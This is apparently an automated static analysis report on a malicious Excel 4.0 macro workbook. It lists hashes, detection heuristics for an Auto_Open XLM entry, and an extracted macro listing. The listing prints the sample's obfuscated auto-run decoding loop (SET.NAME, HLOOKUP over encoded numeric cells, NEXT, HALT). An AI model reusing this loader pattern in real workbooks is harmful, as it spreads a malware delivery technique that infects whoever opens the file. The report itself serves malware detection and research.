Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79f8a5a9cb20895a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:34 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: a7c533c586480c13a0a172205224e8b8 SHA-1: 17c8048bb4c3f608adad3f5b6f89ab3f07fd397f SHA-256: 79f8a5a9cb20895aff08eb0a33a9d5c39927b97beafae3fb70028380a310918b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6925 bytes
SHA-256: b304c38aca3d3cf1867454ea70d63090e8f972f7b69d1b7dab5429c1cc766855
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OTXhWJnApRk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D181 
' 0018     23 LABEL : Cell Value, String Constant - bcbUtxLD len=0 
' 0018     26 LABEL : Cell Value, String Constant - dXJtKqgyqri len=0 
' 0018     24 LABEL : Cell Value, String Constant - fctLQBRMp len=0 
' 0018     23 LABEL : Cell Value, String Constant - fNFwZPKF len=0 
' 0018     21 LABEL : Cell Value, String Constant - FueGhu len=0 
' 0018     24 LABEL : Cell Value, String Constant - fYyMUwWGX len=0 
' 0018     20 LABEL : Cell Value, String Constant - JaiKS len=0 
' 0018     27 LABEL : Cell Value, String Constant - jSTxfsvcnLAs len=0 
' 0018     21 LABEL : Cell Value, String Constant - jvzNgm len=0 
' 0018     20 LABEL : Cell Value, String Constant - KneFA len=0 
' 0018     25 LABEL : Cell Value, String Constant - mQDEqCRzpG len=0 
' 0018     23 LABEL : Cell Value, String Constant - NoSkfWkY len=0 
' 0018     23 LABEL : Cell Value, String Constant - OsvtOYpV len=0 
' 0018     27 LABEL : Cell Value, String Constant - PLnYyLsBCEdz len=0 
' 0018     27 LABEL : Cell Value, String Constant - rpsGQQOrElVo len=0 
' 0018     21 LABEL : Cell Value, String Constant - SOObky len=0 
' 0018     22 LABEL : Cell Value, String Constant - tMqxDuB len=0 
' 0018     24 LABEL : Cell Value, String Constant - VemYeWUUE len=0 
' 0018     27 LABEL : Cell Value, String Constant - VlKvYWPAuxzP len=0 
' 0018     22 LABEL : Cell Value, String Constant - wOnCcgG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OTXhWJnApRk,T55,"",219.00000000000000000000
'  OTXhWJnApRk,T56,"",-73.00000000000000000000
'  OTXhWJnApRk,T57,"",-649.00000000000000000000
'  OTXhWJnApRk,T58,"",904.00000000000000000000
'  OTXhWJnApRk,T59,"",531.00000000000000000000
'  OTXhWJnApRk,T60,"",940.00000000000000000000
'  OTXhWJnApRk,D90,"SET.NAME("OsvtOYpV",0+VALUE("0"))",""
'  OTXhWJnApRk,D92,"SET.NAME("KneFA",OsvtOYpV)",""
'  OTXhWJnApRk,D97,"SET.NAME("wOnCcgG",OsvtOYpV)",""
'  OTXhWJnApRk,D100,"SET.NAME("VlKvYWPAuxzP",COUNTA(fctLQBRMp))",""
'  OTXhWJnApRk,D105,"SET.NAME("rpsGQQOrElVo",COUNTA(PLnYyLsBCEdz))",""
'  OTXhWJnApRk,D110,[],""
'  OTXhWJnApRk,D114,"SET.NAME("tMqxDuB","")",""
'  OTXhWJnApRk,D117,"KneFA",""
'  OTXhWJnApRk,D122,"SET.NAME("fNFwZPKF",HLOOKUP("*",fctLQBRMp,KneFA,FALSE))",""
'  OTXhWJnApRk,D124,"bcbUtxLD",""
'  OTXhWJnApRk,D128,"SET.NAME("SOObky",OsvtOYpV)",""
'  OTXhWJnApRk,D133,[],""
'  OTXhWJnApRk,D138,"SOObky",""
'  OTXhWJnApRk,D140,"JaiKS",""
'  OTXhWJnApRk,D145,"fYyMUwWGX",""
'  OTXhWJnApRk,D149,"FueGhu",""
'  OTXhWJnApRk,D151,"SET.NAME("mQDEqCRzpG",VALUE(HLOOKUP("*",PLnYyLsBCEdz,FueGhu,FALSE)))",""
'  OTXhWJnApRk,D153,"NoSkfWkY",""
'  OTXhWJnApRk,D155,"tMqxDuB",""
'  OTXhWJnApRk,D158,"wOnCcgG",""
'  OTXhWJnApRk,D163,NEXT(),""
'  OTXhWJnApRk,D166,"dXJtKqgyqri",""
'  OTXhWJnApRk,D169,[],""
'  OTXhWJnApRk,D171,"jSTxfsvcnLAs",""
'  OTXhWJnApRk,D173,NEXT(),""
'  OTXhWJnApRk,D177,RETURN(),""
'  OTXhWJnApRk,D209,"SET.NAME("jvzNgm",D90)",""
'  OTXhWJnApRk,D211,"fctLQBRMp",""
'  OTXhWJnApRk,D215,"SET.NAME("PLnYyLsBCEdz",R41C14)",""
'  OTXhWJnApRk,D219,"SET.NAME("jSTxfsvcnLAs",228)",""
'  OTXhWJnApRk,D222,"SET.NAME("VemYeWUUE",4)",""
'  OTXhWJnApRk,D227,jvzNgm(),""
'  OTXhWJnApRk,D228,HALT(),""